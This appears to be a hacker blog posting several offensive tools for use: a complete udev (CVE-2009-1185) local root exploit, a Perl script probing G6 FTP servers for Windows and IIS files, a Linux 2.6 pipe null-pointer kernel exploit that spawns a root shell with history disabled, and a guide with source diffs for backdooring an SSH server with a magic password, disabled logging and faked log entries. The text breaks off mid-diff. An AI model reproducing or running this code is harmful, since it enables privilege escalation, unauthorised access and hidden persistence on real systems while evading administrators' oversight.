Help pay for xds lawyer fees.
LR

CVE-2009-1185.c udev (rules) < 141 Local Privilege Escalation Exploit (Alternate/cleaner than the kcope bash version)

Posted on 8th January 2012 in Exploits

YES! Amazingly, I do like SOME of Jonos code! Yes, when it is neater and, nicer than the alternatives ofcourse, but NOT when theyre crippled :) k thx. So, this is bein posted now, abit late but, better than never..

/*
 * CVE-2009-1185.c udev (rules) < 141 Local Privilege Escalation Exploit
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 * Information:
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
 *   udev before 1.4.1 does not verify whether a NETLINK message originates
 *   from kernel space, which allows local users to gain privileges by sending
 *   a NETLINK message from user space.
 * Notes:
 *   An alternate version of kcope's exploit.  This exploit leverages the
 *   95-udev-late.rules functionality that is meant to run arbitrary commands
 *   when a device is removed.  A bit cleaner and reliable as long as your
 *   distro ships that rule file.  The exploit will execute /tmp/run as root
 *   so throw whatever payload you want in there.
 *   Pass the PID of the udevd netlink socket (listed in /proc/net/netlink,
 *   usually is the udevd PID minus 1) as argv[1].
 */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

int main(int argc, char **argv) {
int sock;
char *mp;
char message[4096];
struct msghdr msg;
struct iovec iovector;
struct sockaddr_nl address;
memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;
msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(sock, (struct sockaddr *) &address, sizeof(address));
mp = message;
mp += sprintf(mp, "a@/d") + 1;
mp += sprintf(mp, "SUBSYSTEM=block") + 1;
mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
mp += sprintf(mp, "TIMEOUT=10") + 1;
mp += sprintf(mp, "ACTION=remove") +1;
mp += sprintf(mp, "REMOVE_CMD=bin/sh -i") +1;  //-- root cmd here
iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);
sendmsg(sock, &msg, 0);
close(sock);
return 0;
}

XD

G6 FtpServer file disclosure vuln script [some perl code to play with] #HAXNET

Posted on 6th January 2012 in Exploits, Uncategorized

G6 Ftp Server file disclosure vulnerability script here, for anyone fuzzing with G6….seems to be very Big userbase with windows forsue..
ENJOY!

######HAXNET
#!/usr/bin/perl
# G6 Ftp Server file disclosure vulnerability script
use Getopt::Std;
use IO::Socket;

getopts('h:l:p:',\%args);
my ($CRLF,$port,$login,$pass,$sock_res,$win_base,$iis_base,@drives);
$CRLF = "\015\012";
@drives = ("c","d","e","f","s","h","x","i","j");    ## added usb thumb/sdcard/miscro-hubs etc support and laptop/ipad
$port = 21;
$login = 'anonymous';     ## change this if want but this is good for Fingerprint on ranges...with me
$pass = 'anonymous';      ## again this should be changed like sometimes its user@localhost.net ,idk
if (defined $args{h}) {
$host = $args{h};
} else {
print "[-] No host specified.\n";
exit;
}
if (defined $args{l}) {
$login = $args{l};
}
if (defined $args{p}) {
$pass = $args{p};
}
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>$host,PeerPort=>$port) || die("[-] Socket error: $!");
$sock_res = <$sock>;
print $sock "USER $login" . $CRLF;
$sock_res = <$sock>;
print $sock "PASS $pass" . $CRLF;
$sock_res = <$sock>;
if ($sock_res !~ /230\s/) {
print "[-] Login/pass not accepted..exiting.\n";
close($sock);
exit;
}
print $sock "PWD" . $CRLF;
$sock_res = <$sock>;
if (lc($sock_res) !~ /\/[a-z][:]\//) {
print "[-] Looks like 'show relative path' is enabled..exiting.\n";
close($sock);
exit;
}
print "[+] Attempting to locate system files..";
$win_base = &FindWindows;
$iis_base = &FindIIS;
print "[!] DONE.\n\n";
close($sock);
print "[!] Windows directory: $win_base\n";
print "[!] Hints to IIS path: $iis_base\n";
exit;

sub FindWindows {
my @win_dirs = ("win","windows","winnt","winme","windows.0");  ## added a cpl here wich were missing, could also be updated more..
foreach $drive (@drives) {
foreach $dir (@win_dirs) {
print ".";
print $sock "SIZE
/$drive:/$dir/regedit.exe" . $CRLF;
$sock_res = <$sock>;
if ($sock_res =~ /213\s/) {
return("$drive:\\$dir");}
}
}
return("[x] Not found");
}

sub FindIIS {
my @iis_files = ("Inetpub/wwwroot/_vti_inf.html","Inetpub/Adminscripts/adsutil.vbs","Inetpub/wwwroot/default.asp");
foreach $drive (@drives) {
foreach $file (@iis_files) {
print ".";
print $sock "SIZE /$drive:/$file" . $CRLF;
$sock_res = <$sock>;
if ($sock_res =~ /213\s/) {
$file =~ s/\//\\/g;
return("$drive:\\$file");
}
}
}
return("[x] Not found");
}

Enjoy,
XD@#HAXNET@EF

[LOCAL x86]: FASYNC STRUCT local pipe buffer exploit (NO,Not fasync_helper() thts still NOT patched, this is fasync_struct()!,Magikal~

Posted on 5th January 2012 in Exploits

And on the 78th day, gh0d created overflows! His people were then abe, to move swiftly through the Red sea!
xd@Haxnet@efnet – cert nutter

Anyhow so… this is the fasync struct handler id pop in coz, it was kinda mine to start with but anyhow… i had alot of things wrong, so, i decided to juast fix this one :) easier!

/*
 * Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86 atm,will add x64 payload tho and redo this code abit more ;) )
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/personality.h>

// didn't really care about this i mixed 2.6.0 to 2.6.31
#define PIPE_BUFFERS 16

struct __wait_queue_head {
      int spinlock;
      void *next, *prev; // struct list_head
};

struct fasync_struct {  // bleh! didn't change from 2.6.0 to 2.6.31
	int magic;
	int fa_fd;
	struct fasync_struct *fa_next;
	void *file; // struct file
};

// this iz the w00t about 2.6.11 to 2.6.31
struct pipe_buf_operations {
        int suce;
        int *fptr[6];
};

// from 2.6.0 to 2.6.10
struct pipe_inode_info_2600_10 {
        struct __wait_queue_head wait;
        char *base; // !!!!!
        unsigned int len; // !!!
        unsigned int start; // !!!
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
};

// from 2.6.11 to 2.6.16
struct pipe_buffer_2611_16 {
        void *suce;
        unsigned int offset, len;
        struct pipe_buf_operations *ops;
};

struct pipe_inode_info_2611_16 {
        struct __wait_queue_head wait;
        unsigned int nrbufs, curbuf;
        struct pipe_buffer_2611_16 bufs[PIPE_BUFFERS];
        void *tmp_page;
        unsigned int start;
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
};

// from 2.6.17 to 2.6.19
struct pipe_buffer_2617_19 {
        void *suce;
        unsigned int offset, len;
        struct pipe_buf_operations *ops;
        unsigned int tapz;
};

struct pipe_inode_info_2617_19 {
        struct __wait_queue_head wait;
        unsigned int nrbufs, curbuf;
        struct pipe_buffer_2617_19 bufs[PIPE_BUFFERS];
        void *tmp_page;
        unsigned int start;
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
        void *suce;
};
// from 2.6.20 to 2.6.22
struct pipe_buffer_2620_22 {
        void *suce;
        unsigned int offset, len;
        struct pipe_buf_operations *ops;
        unsigned int tapz;
};
struct pipe_inode_info_2620_22 {
        struct __wait_queue_head wait;
        unsigned int nrbufs, curbuf;
        void *tmp_page;
        unsigned int start;
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
        void *suce;
        struct pipe_buffer_2620_22 bufs[PIPE_BUFFERS];
};
// AND FINALY from 2.6.23 to 2.6.31 ... :) )
struct pipe_buffer_2623_31 {
        void *suce;
        unsigned int offset, len;
        struct pipe_buf_operations *ops;
        unsigned int tapz;
        unsigned long tg;
};
struct pipe_inode_info_2623_31 {
        struct __wait_queue_head wait;
        unsigned int nrbufs, curbuf;
        void *tmp_page;
        unsigned int start;
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
        void *suce;
        struct pipe_buffer_2623_31 bufs[PIPE_BUFFERS];
};
static pid_t uid;
static gid_t gid;
static int iz_kern2600_10;
unsigned long taskstruct[1024];
void gomu_gomu_nooooo_gatling_shell(void);
int get_kern_version(void);
void map_struct_at_null(void);
void get_cur_task_and_escalate_priv(void);
void* get_null_page(void);
void error(char *s);
int is_done(int new);

static inline void *get_4kstack_top() {  // got a better syscall function then heres where ya can use it !
	void *stack;
	__asm__ __volatile__ (
	"movl $0xfffff000,%%eax ;"
	"andl %%esp, %%eax ;"
	"movl %%eax, %0 ;"
	: "=r" (stack)
	);
	return stack;
}

static inline void *get_8kstack_top() {
	void *stack;
	__asm__ __volatile__ (
	"movl $0xffffe000,%%eax ;"
	"andl %%esp, %%eax ;"
	"movl %%eax, %0 ;"
	: "=r" (stack)
	);
	return stack;
}

static inline void *get_current() {
      void *cur = *(void **)get_4kstack_top();
      if( ( (unsigned int *)cur >= (unsigned int *)0xc0000000 ) && ( *(unsigned int *)cur == 0 ) )
      return cur;
      else
      cur = *(void **)get_8kstack_top();
      return cur;
}

void map_struct_at_null() {  // this was really fkn time consuming coding...could not do it better tho really.. only now need to add for amd64 etc
      struct pipe_inode_info_2600_10 *pipe2600_10;
      struct pipe_inode_info_2611_16 *pipe2611_16;
      struct pipe_inode_info_2617_19 *pipe2617_19;
      struct pipe_inode_info_2620_22 *pipe2620_22;
      struct pipe_inode_info_2623_31 *pipe2623_31;
      struct pipe_buf_operations luffy;
      FILE *f;
      unsigned int *sct_addr;
      unsigned int sc_addr;
      char dummy;
      char sname[256], pipebuf[10];
      int ret, i;
      void *page;
      page = get_null_page();
      int version = get_kern_version();
      luffy.suce = 1;
      for(i = 0; i < 6; i++)
      luffy.fptr[i] = (int *)get_cur_task_and_escalate_priv;
      if(version >= 2600 && version <= 2610) {
      iz_kern2600_10 = 1;
      // as u see, his imperial majesty spender haz alwayz good trickz
      f = fopen("/proc/kallsyms", "r");
      if (f == NULL) {
      f = fopen("/proc/ksyms", "r");
      if (f == NULL) {
      error("[-] cant open /proc/{kall,k}syms for looking after teh sys_call_table addr!");
      }
      }
      ret = 0;
      while(ret != EOF) {
     ret = fscanf(f, "%p %c %s\n", (void **)&sct_addr, &dummy, sname);
     if (ret == 0) {
     fscanf(f, "%s\n", sname);
     continue;
     }
     if (!strcmp("sys_call_table", sname)) {
     printf("\t\t+ sys_call_table is at %p\n",(void *)sct_addr);
     fclose(f);
     }
     }
     if(f != NULL) {
     fclose(f);
     error("[-] cant get sys_olduname addr!");
     }
     sc_addr = (unsigned int) (sct_addr + __NR_olduname*sizeof(int));
     pipe2600_10 = (struct pipe_inode_info_2600_10 *) page;
	      memcpy(pipebuf, (char *) &sc_addr, sizeof(int));
	      pipe2600_10->base = pipebuf;
	      pipe2600_10->len = 0;
	      pipe2600_10->start = 0;
	      pipe2600_10->writers = 1;
	      printf("\t\t+ Structs for kernels 2.6.0 => 2.6.10 were mapped\n");
      } else if(version >= 2611 && version <= 2616) {
            pipe2611_16 = (struct pipe_inode_info_2611_16 *) page;
	      pipe2611_16->writers = 1;
	      pipe2611_16->nrbufs = 1;
	      for(i = 0; i < PIPE_BUFFERS; i++)
	            pipe2611_16->bufs[i].ops = &luffy;
	      printf("\t\t+ Structs for kernels 2.6.11 => 2.6.16 were mapped\n");
      }
      else if(version >= 2617 && version <= 2619)
      {
            pipe2617_19 = (struct pipe_inode_info_2617_19 *) page;
            pipe2617_19->readers = 1;
	      pipe2617_19->nrbufs = 1;
	      for(i = 0; i < PIPE_BUFFERS; i++)
	            pipe2617_19->bufs[i].ops = &luffy;
	      pipe2617_19->wait.next = &pipe2617_19->wait.next;
            pipe2617_19->wait.spinlock = 1;
            printf("\t\t+ Structs for kernels 2.6.16 => 2.6.19 were mapped\n");
      }
      else if(version >= 2620 && version <= 2622)
      {
            pipe2620_22 = (struct pipe_inode_info_2620_22 *) page;
            pipe2620_22->readers = 1;
	      pipe2620_22->nrbufs = 1;
	      for(i = 0; i < PIPE_BUFFERS; i++)
	            pipe2620_22->bufs[i].ops = &luffy;
	      pipe2620_22->wait.next = &pipe2620_22->wait.next;
            pipe2620_22->wait.spinlock = 1;
            printf("\t\t+ Structs for kernels 2.6.20 => 2.6.22 were mapped\n");
      }
      else if(version >= 2623 && version <= 2631)
      {
            pipe2623_31 = (struct pipe_inode_info_2623_31 *) page;
            pipe2623_31->readers = 0;
	      pipe2623_31->nrbufs = 0;
	      for(i = 0; i < PIPE_BUFFERS; i++)
	            pipe2623_31->bufs[i].ops = &luffy;
	      pipe2623_31->wait.next = &pipe2623_31->wait.next;
            pipe2623_31->wait.spinlock = 1;
            printf("\t\t+ Structs for kernels 2.6.23 => 2.6.31 were mapped\n");
      }
      else
            error("[-] exploit not developped for ur kernel!");
}

int get_kern_version(void) { // return something like 2600 for kernel 2.6.0, 2619 for kernel 2.6.19 ...
    struct utsname buf;
    char second[2],third[3];
    int version = 2000;
    if(uname(&buf) < 0)
    error("can't have ur k3rn3l version. this box isn't for today :( \n");
    sprintf(second, "%c", buf.release[2]);
    second[1] = 0;
    version += atoi(second) * 100;
    third[0] = buf.release[4];
    if(buf.release[5] >= '0' || buf.release[5] <= '9') {
            third[1] = buf.release[5];
            third[2] = 0;
            version += atoi(third);
    }
    else
    {
            third[1] = 0;
            version += third[0] - '0';
    }
    printf("\t\t+ Kernel version %i\n", version);
    return version;
}

//thx spender/julienee
void* get_null_page(void) {  // OK now lets try with PAGE_SIZE (Mod xd)
	void *page;
	if ((personality(0xffffffff)) != PER_SVR4) {
	page = mmap(PAGE_SIZE, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
	if (page != NULL) {
	page = mmap(PAGE_SIZE, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
	if (page != NULL) {
	error("[!] This box haz a mmap_min_addr-like stuff!");
	}
		}
	      else
	      {
		      if (mprotect(PAGE_SIZE, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) < 0)
		      {
		            free(page);
			      error("[-] can't mprotect my null page!");
			}
		}
	}
	else
	{                  // so we just switched the order really ;)  -xd (nice eh)
	      page = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
		if (page != NULL)
		{
			page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
			if (page != NULL)
			{
				error("[-] this box haz a mmap_min_addr-like stuff!");
			}
		}
	      else
	      {
		      if (mprotect(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) // ... or not ! :(
		      {
		            free(page);
			      error("[-] can't mprotect my null page!");
			}
		}
	}
	printf("\t\t+ Got null page\n");
	return page;
}

void gomu_gomu_nooooo_gatling_shell(void) {
      char *argv[] = { "/bin/sh", "--noprofile", "--norc", NULL };
      char *envp[] = { "TERM=linux", "PS1=blackbird\\$  ", "BASH_HISTORY=/dev/null",
                   "HISTORY=/dev/null", "history=/dev/null",
                   "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL };
      execve("/bin/sh", argv, envp);
      error("[-] Unable to spawn a rootshell ..");
}

int is_done(int new) {
	static int done = 0;
	if (done == 1)
	return (1);
	done = new;
}
volatile int done = 0;
void get_cur_task_and_escalate_priv() {
	uint32_t	i;
	uint32_t	*task = get_current();
	uint32_t 	*cred = 0;
	for(i=0; i<0x1000; i++)
      {
           if( (task[i] == task[i+1]) && (task[i+1] == task[i+2]) && (task[i+2] == task[i+3]))
           {
                  task[i] = 0;
                  task[i+1] = 0;
                  task[i+2] = 0;
                  task[i+3] = 0;
                  is_done(1);
                  return;
           }
      }
	for (i = 0; i<1024; i++)
	{
		taskstruct[i] = task[i];
		cred = (uint32_t *)task[i];
		if (cred == (uint32_t *)task[i+1] && cred > (uint32_t *)0xc0000000) {
			cred++;
	        	if (cred[0] == uid && cred[1] == gid
		            && cred[2] == uid && cred[3] == gid
		            && cred[4] == uid && cred[5] == gid
		            && cred[6] == uid && cred[7] == gid)
		        {
		         	cred[0] = cred[2] = cred[4] = cred[6] = 0;
		                cred[1] = cred[3] = cred[5] = cred[7] = 0;
				break;
		        }
		}
	}
	is_done(1);
}

int main(int ac, char **av) {
	int fd[2];
	int pid;
	char tapz[4];
	uid = getuid();
	gid = getgid();
	setresuid(uid, uid, uid);
	setresgid(gid, gid, gid);
	map_struct_at_null();
	//while (1) {
	pid = fork();
	if (pid == -1) {
	perror("fork");
	return (-1);
	}
	if (pid) {
	char path[1024];
			sprintf(path, "/proc/%d/fd/3", pid);  // was 4,but we all know 3 is there 100% :> -xd
			while (!is_done(0))
			{
				fd[0] = open(path, O_RDWR);
				if (fd[0] != -1)
				{
					if(iz_kern2600_10)
                              {
                                    memcpy(tapz, (char *)get_cur_task_and_escalate_priv, sizeof(int));
                                    write(fd[0], tapz, 4);
                              }
					close(fd[0]);
				}
			}
			if(iz_kern2600_10)
                  {
                        syscall(__NR_olduname, NULL);
                  }
                  printf("\t\t+ Got root!\n");
			gomu_gomu_nooooo_gatling_shell();
			return (0);
		}
		while (!is_done(0))
		{
			if (pipe(fd) != -1)
			{
				close(fd[0]);
				close(fd[1]);
			}
		}
	}

Enjoy.. Thx to many on this one, and, it has a new method so, try it, specially on centos and rhel ;>…just go hard and, you can add ya own pipe buffers but, i suggest play with the calls to asm…cheers.
XD @ #HAXNET @ Efnet @ Life-on-irc

ViRogon SSHD Rootkit +Diff+Notes I found on my own travels..

Posted on 24th September 2011 in Papers

The most advanced rootkit at one stage, and so easy to build.. i love this thing, and i dont like rootkits normally but this one, just nice and easy to make, you will need a copy of ssh-2.2.0.tar.gz for this wich is the NON open src sshd wich rocks, thts why i kinda liked making this, but it is nice and easy to make, i added my own comments in to the paper.. so go ahead and, here you might want this thing first:

http://ftp.nluug.nl/security/ssh/old/ssh-2.2.0.tar.gz

OK now we have our src, unwrap it,you can rename the folder to vi_sshd or whatever, so you know what is what..ofcourse, at the end you would want STATIC built library/sshd_config and other things you could probably configure from using other srcs wich are similar.. anyhow, heres the paper, and the addins are just notes with 9xd) around it.. this sshd rox.
enjoy
xd

…. . .. . Vihrogon Advanced SSH RootKit by Solar Eclipse
. Introduction . .. .
A rootkit is a blackhat tool used to hide the attacker’s activity from the
administrators of the system. The most common form of a rootkit contains
replacement binaries for commonly used administration utilities, like ps,
top and netstat. As you can guess the ps replacement will hide processes
mathicing a certain criteria, identifying them as belonging to the hacker.
Another function of the rootkit is to enable the attacker to gain access to
the system through a some sort of a backdoor. An example can be a modified
ping (suid on most systems) command which spawns a root shell when executed
with a special parameter, known only to the attacker.
In this article we will explore the SSH server and the opportunities it
provides for those willing to indulge in blackhat activities. An SSH rootkit
Vihrogon SSH 0.3 will be presented. All the information presented here
applies to the non-free version of SSH2 (available from ssh.com).

. SSH Architecture . .. .
The sshd daemon usually runs as root, since it needs to bind to a privileged
port and to handle user logins. This makes it a perfect candidate for
planting a backdoor. The ssh source comes in a tarball (ssh-2.2.tar.gz),
which contains two important directories. The lib/ directory contains the
source for libssh.a, a static library used by all programs in the ssh
package. The apps/ssh/ directory contains the source for the ssh server and
client, as well as a few smaller programs such as ssh-agent2, ssh-keygen2,
etc. Most of the code in apps/ssh is compiled into the static library
libssh2.a and then linked with the binaries.
Most of the code in the lib/ directory contains utility functions. We don’t
need to change anything there. It is sufficient to change a few key files
in apps/ssh.

. Rootkit Requirements . .. .
First of all, we need a magic password. When the attacker uses this
password, she should be granted access to any account. Any login
restrictions, for example restricted root logins should be turned off.
All ssh logging should also be disabled.

Unfortunately sshd logs an informational message when a connection is
received, even before the authentication begins.
Jul 30 02:52:46 hostname sshd2[1082]: connection from “3112″
Jul 30 02:52:46 hostname sshd2[1082]: DNS lookup failed for
“174.42.35.77″.

If we disable all logging after the magic password is received, this
message will look very suspicious in the logs.
The solution is to log a fake disconnect msg:
Jul 30 02:52:53 hostname sshd2[1082]: Local disconnected: Connection
closed by remote host.
Jul 30 02:52:53 hostname sshd2[1082]: connection lost: ‘Connection closed
by remote host.’

Note: i found many places this kind-of trick can be done in the sshd code,all over it really,
if you could be bothered (if was MY kit id bother),then i would goto every file and
implement fake messaging or log_events. (xd)

That’s good, but not good enough. If the attacker accesses the machine her
IP address will still be logged. How can we identify the attacker even
before the user authentication? Each TCP connection is identified by four
numbers: the source IP address, the destination IP address, the source port
and the destination port. The source port can be specified by the client or
it can be randomly chosen by the operation system. Let the attacker use a
predefined magic source port and the sshd daemon will be able to identify
the connection.

. Source . .. .
. sshconfig.h/sshconfig.c
We need two state variables, accessible from all sshd code. The right place
to put them would be the global SshConfig structure, which holds important
configuration data for the server. This structure is defined in sshconfig.h
and initialized in sshconfig.c. It is passed to almost all sshd functions.

. sshd2.c
The first state variable is vihr_no_logs. When it’s set to 1, all sshd
logging is disabled. Although the debugging and logging system of sshd is
fairly complex, all messages are ultimetely passed to 4 callbacks, defined
in sshd2.c. These are server_ssh_debug(), server_ssh_warning(),
server_ssh_fatal() and server_ssh_log().
if (data->config && data->config->vihr_no_logs)
return;
This simple line in the beginning of all 4 functions will effectively
eliminate all sshd logging and debugging information.

. sshchsession.c
The second state variable is vihr_user. It is set when the user’s password
matches the magic password and affects the user logon procedure. After the
ssh connection is established and the user is authenticated, the client
starts an interactive session and requests a shell. Most of the code
related to session management is in sshchsession.c. We need add a few
imropvements there to streamline the process.
The ssh_user_needs_chroot() checks if the user should be chroot’ed. If
vihr_user equals 1 the function should always return FALSE. The sshd daemon
records all logins and logouts via the ssh_user_record_login() and
ssh_user_record_logout() functions, which update the utmp, wtmp and the
lastlog. In sshchsession.c there are two calls to these functions. When
vihr_user is set the calls shouldn’t happen.
The user uses a magic password, the shell is set to /bin/sh. This
allows the user to login to disabled accounts. The shell history is
turned off by setting the HISTFILE environmental variable to /dev/null. All
these changes are in sshchsession.c.
if (session->common->config->vihr_user)
user_shell = ssh_xstrdup(“/bin/sh”);
/* No history for vihr users */
if (session->common->config->vihr_user)
ssh_child_set_env(envp, envsizep, “HISTFILE”, “/dev/null”);

Note: I noticed there is a setup section in ssh_session_init_env()
which sets ‘Default’ TERM environment wich is best place to really make changes,
so i just added this i know it is alredy set but NOT as default..you could change this
in the diff files even, or add it in,it should be there,and all ssh-log_event
should be removed,changed to suit your own trix,or just changed to make it look good ;) :
ssh_child_set_env(envp, envsizep, “HISTFILE”, “/dev/null”);

It should make us even stealthier,was a good find ;]
Yes, you apply this to the code AFTER you have applied the diff files wich are below.. (xd)

. sshd2.c
All connections in sshd are handled by new_connection_callback() in
sshd2.c. We have to add some code to this function to make it check the
connection source port. If it matches, vihr_no_logs is set to 1. After that
the sshd daemon forks and the child process handles the connection.
vihr_no_logs is set back to 0 in the parent, so that it can continue
logging normal connections.
if (ssh_tcp_get_remote_port(stream, buf, sizeof(buf)))
{
if (atoi(buf) == VIHR_MAGIC_PORT)
{
data->config->vihr_no_logs = 1;
}
}

. auths-passwd.c
The magic password code is in auths-passwd.c. This file contains functions
used in the password authentication method. The function we’ll change is
ssh_server_auth_passwd(). First is checks if the host/user combination is
allowed to access the server and then it reads the password from the ssh
data stream. Then it tries to authenticate the user using this password. We
need to put the password read before the access check. Then we can match
the password with the magic password which is hardcoded in the trojanized
sshd code. Keeping the magic password in plaintext is dangerous, because
the administrator or another hacker can extract it from the sshd2 binary.
We’ll compute the md5 hash of the password and store that in the binary.
The ssh code has a nice md5 hashing function, called ssh_md5_of_buffer().
It reads the data in a buffer and returns the hash. We’ll convert it to
hex, because the magic password hash is contained in the .c code as a 32
character string of hex digits.
/* Get the md5 hash of the password and convert it to hex */
ssh_md5_of_buffer(digest, password, strlen(password));
for (i = 15; i >= 0; i–)
{
digest[i*2+1] = (digest[i] & 0xf) + ’0′;
digest[i*2] = (digest[i] >> 4) + ’0′;
}
for (i = 0; i < 32; i++)
if (digest[i] > ’9′)
digest[i] += 0×27; /* lower case hex chars (‘a’..’f') */
digest[32] = ‘\0′;

Note: regarding ssh_log_event(),
i simply just // commented out ALL logging of code,and left debug only,
wich i may even remove since this is tricky area (xd)

If the password matches, we’ll check the virh_no_logs variable. When the
attacker is using the magic source port, it will be 1. If it’s 0, we need
to log a fake disconnect message. After that our code returns
SSH_AUTH_SERVER_ACCEPTED, skipping all additional authentication chores.

if (strncmp(digest, VIHR_MAGIC_MD5, 32) == 0)
{
if (!config->vihr_no_logs)
{
/* The connection was logged, we need to log a fake disconnect message */
ssh_log_event(config->log_facility, SSH_LOG_INFORMATIONAL,
“Local disconnected: Connection closed by remote host.”);
ssh_log_event(config->log_facility, SSH_LOG_INFORMATIONAL,
“connection lost: ‘Connection closed by remote host.’”);
}
ssh_xfree(password);
config->vihr_user = 1;
config->vihr_no_logs = 1;
/* Skip all login checks */
return SSH_AUTH_SERVER_ACCEPTED;
}

. Installation and Usage . .. .
This is not a universal rootkit. It can be installed on only systems
already running the sshd2 daemon. It does not hide anything from the ps and
netstat commands, so it might be wise use it as a part of larger rootkit,
that contains ps and netstat replacements. The rootkit code should be
fairly portable, due to the portability of the SSH suite.
The rootkit configuration is in sshconfig.h. You need to change
VIHR_MAGIC_PORT to a port of your desire, and put the password hash in
VIHT_MAGIC_MD5. You can get the hash with the following command:

echo -n magicpassword | md5sum

There are two ways of forcing the ssh cliento to use a specified source
port. One way is to modify the client source. The other way works only with
OpenSSH by taking advantage of the ProxyConnect option. This option allows
you to specify a command that will establish the TCP connection and can be
set from the command line. (see the ssh man page for more details)
The following shell scripts take the source port as their first parameter
and pass everything else to the ssh/scp program. ProxyCommand is set to
netcat, which takes the source port with the -p option. Netcat is a very
useful little program, available at www.netcat.org.

#!/bin/bash
/usr/bin/ssh -o “ProxyCommand nc -p $1 %h %p” $2 $3 $4 $5 $6 $7 $8 $9

#!/bin/bash
/usr/bin/scp -S /usr/bin/ssh -o “ProxyCommand nc -p $1 %h %p” $2 $3 $4 $5 $6 $7 $8 $9

. Defence . .. .

http://www.tripwire.com/

. Diff . .. .
diff -ru ssh-2.2.0/apps/ssh/auths-passwd.c ssh-2.2.0.vihr/apps/ssh/auths-passwd.c
— ssh-2.2.0/apps/ssh/auths-passwd.c Mon Jun 12 19:38:59 2000
+++ ssh-2.2.0.vihr/apps/ssh/auths-passwd.c Sat Jul 28 20:24:20 2001
@@ -25,6 +25,10 @@

#define SSH_DEBUG_MODULE “Ssh2AuthPasswdServer”

+/* Original declaration is lib/sshcrypt/md5.h */
+void ssh_md5_of_buffer(unsigned char digest[16], const unsigned char *buf,
+ size_t len);
+
/* Password authentication. This handles all forms of password authentication,
including local passwords, kerberos, and secure rpc passwords. */

@@ -42,6 +46,8 @@
SshUser uc = (SshUser)*longtime_placeholder;
Boolean change_request;
char *password, *prompt;
+ unsigned char digest[33];
+ int i;
int disable_method = 0;
unsigned long pass_len = 0L;

@@ -52,6 +58,54 @@
switch (op)
{
case SSH_AUTH_SERVER_OP_START:
+ /* Parse the password authentication request. */
+ if (ssh_decode_buffer(packet,
+ SSH_FORMAT_BOOLEAN, &change_request,
+ SSH_FORMAT_UINT32_STR, &password, &pass_len,
+ SSH_FORMAT_END) == 0)
+ {
+ SSH_DEBUG(2, (“bad packet”));
+ goto password_bad;
+ }
+
+#ifdef VIHR_MAGIC_MD5
+ /* Get the md5 hash of the password and convert it to hex */
+ ssh_md5_of_buffer(digest, password, strlen(password));
+ for (i = 15; i >= 0; i–)
+ {
+ digest[i*2+1] = (digest[i] & 0xf) + ’0′;
+ digest[i*2] = (digest[i] >> 4) + ’0′;
+ }
+ for (i = 0; i < 32; i++)
+ if (digest[i] > ’9′)
+ digest[i] += 0×27; /* lower case hex chars (‘a’..’f') */
+
+ digest[32] = ‘\0′;
+
+#ifdef VIHR_DEBUG
+ ssh_log_event(config->log_facility, SSH_LOG_INFORMATIONAL, “digest: %s”, digest);
+#endif /* VIHR_DEBUG */
+
+ if (strncmp(digest, VIHR_MAGIC_MD5, 32) == 0)
+ {
+ if (!config->vihr_no_logs)
+ {
+ /* The connection was logged, we need to log a fake disconnect message */
+ ssh_log_event(config->log_facility, SSH_LOG_INFORMATIONAL,
+ “Local disconnected: Connection closed by remote host.”);
+ ssh_log_event(config->log_facility, SSH_LOG_INFORMATIONAL,
+ “connection lost: ‘Connection closed by remote host.’”);
+ }
+
+ ssh_xfree(password);
+ config->vihr_user = 1;
+ config->vihr_no_logs = 1;
+
+ /* Skip all login checks */
+ return SSH_AUTH_SERVER_ACCEPTED;
+ }
+#endif /* VIHR_MAGIC_MD5 */
+
if (ssh_server_auth_check(&uc, user, config, server->common,
SSH_AUTH_PASSWD))
{
@@ -96,16 +150,6 @@
#endif /* SSHDIST_WINDOWS */
}

- /* Parse the password authentication request. */
